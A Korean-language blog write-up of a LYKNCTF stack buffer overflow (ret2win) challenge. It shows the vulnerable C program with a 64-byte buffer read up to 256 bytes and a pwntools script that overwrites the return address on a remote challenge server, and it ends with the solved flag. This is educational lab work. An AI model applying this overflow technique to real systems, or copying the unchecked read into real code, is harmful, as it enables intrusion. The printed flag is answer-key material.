문제

문제 파일
vuln
0.02MB
vuln (3).c
0.00MB
flag.txt
0.00MB
풀이
먼저 문제 파일들을 풀이를 진행할 폴더로 옮겨줬다

폴더 입장(입력 후 프롬프트가 ~/Interlude_System_Study$ 로 바뀐다)
cd Interlude_System_Study
1. 문제 파일 분석
가장 먼저 문제와 함께 주어진 vuln (3).c와 flag.txt 파일을 열어 확인했다.
vuln (3).c
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
/* win 함수: 직접 호출되지는 않지만, 이 프로그램의 최종 목표인 플래그를 출력하는 함수다.
오버플로우를 통해 프로그램의 실행 흐름을 이곳으로 강제 이동시켜야 한다.
*/
void win(void)
{
char flag[128];
int fd = open("flag.txt", O_RDONLY);
if (fd < 0) {
write(1, "flag.txt not found on this server.\n", 35);
_exit(1);
}
ssize_t n = read(fd, flag, sizeof(flag));
if (n > 0)
write(1, flag, (size_t)n);
_exit(0);
}
/*
vuln 함수: 이 프로그램의 핵심 취약점이 존재하는 함수다.
*/
void vuln(void)
{
char buf[64]; // [취약점 1] 64바이트 크기의 스택 버퍼가 선언되어 있다.
write(1, "What's your name, traveler?\n> ", 30);
/* [취약점 2] read 함수의 세 번째 인자가 256이다.
buf는 64바이트인데 256바이트까지 입력받으므로,
스택의 Saved RBP와 Return Address까지 전부 덮어쓸 수 있는 버퍼 오버플로우가 발생한다.
*/
read(0, buf, 256);
write(1, "Safe travels!\n", 14);
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
vuln(); // main에서 호출되는 유일한 함수다.
return 0;
}
- vuln 함수 내부를 보니 char buf[64]로 버퍼가 64바이트인데, read(0, buf, 256)을 통해 256바이트까지 입력을 받고 있었다. 이는 스택 버퍼 오버플로우 취약점이다.
- 프로그램 내부에 호출되지 않는 win 함수가 존재했다. 코드를 보니 flag.txt를 열어 내용을 화면에 출력하는 역할을 했다. 이 win 함수를 강제로 실행시키면 플래그를 획득할 수 있겠다.
flag.txt
LYKNCTF{f4k3_f14g}
LYKNCTF{f4k3_f14g}가 적혀 있었다. 이는 로컬 테스트용 가짜 플래그이며, 실제 서버에는 진짜 플래그가 있을 것이다.
2. 트러블슈팅 및 준비 과정
본격적인 분석을 시작하려 했으나, 파일 이름에 공백과 괄호가 포함되어 있어 리눅스 터미널에서 제어하는 데 어려움이 있었다.
- 파일 이름 정리: mv "vuln (3)" vuln 명령어로 이름을 간단하게 변경하고, chmod +x vuln으로 실행 권한을 부여했다.

- 환경 설정 오류: 처음에 python3 a.py를 실행하니 ModuleNotFoundError: No module named 'pwn' 에러가 발생했다. 가상 환경(venv)을 먼저 활성화(source venv/bin/activate)하고 pip install pwntools를 통해 필수 라이브러리를 설치한 뒤에야 정상적으로 구동되었다.

3. 공격 설계 및 실습
- win 함수 주소 확보: objdump -d ./vuln | grep win 명령어를 입력하여 win 함수의 시작 주소인 0x4011b6를 찾아냈다.

- Payload 구성: 스택 구조상 buf(64)와 saved RBP(8)를 합친 총 72바이트를 쓰레기 값('A')으로 채우면, 그 다음 영역인 Return Address에 접근할 수 있다. 이 주소를 win 함수의 주소로 덮어쓰면, 함수가 종료될 때 main으로 돌아가지 않고 win 함수로 점프하게 된다.
from pwn import *
p = remote('51.79.140.18', 17565)
win_addr = p64(0x4011b6)
payload = b'A' * 72 + win_addr
p.sendlineafter(b'> ', payload)
print(p.recvall().decode())
파이썬 파일을 만든 후 위 페이로드 코드를 붙여넣으면 된다.

4. 결과
작성한 파이썬 스크립트를 실행(python3 a.py)한 결과, 서버로부터 정상적인 응답과 함께 플래그를 획득했다.

vuln 함수의 버퍼 오버플로우 취약점을 이용해 리턴 주소를 win 함수의 주소로 덮어씌워 강제 호출함으로써 플래그를 획득했다.
환경 설정상의 사소한 오류들을 직접 해결하며 시스템 보안의 기초인 취약점 분석 과정을 온전히 실습할 수 있었다.
플래그
LYKNCTF{1ad785fd24ea4e24862999b440752fa0}

'CTF > Binary Exploitation (Pwnable)' 카테고리의 다른 글
| [LYKNCTF] Shop (0) | 2026.07.07 |
|---|---|
| [Google ctf] The Classic Notes App (0) | 2026.04.30 |
| [picoCTF] PIE TIME (0) | 2026.04.30 |
| [picoCTF] heap 0 (0) | 2026.04.29 |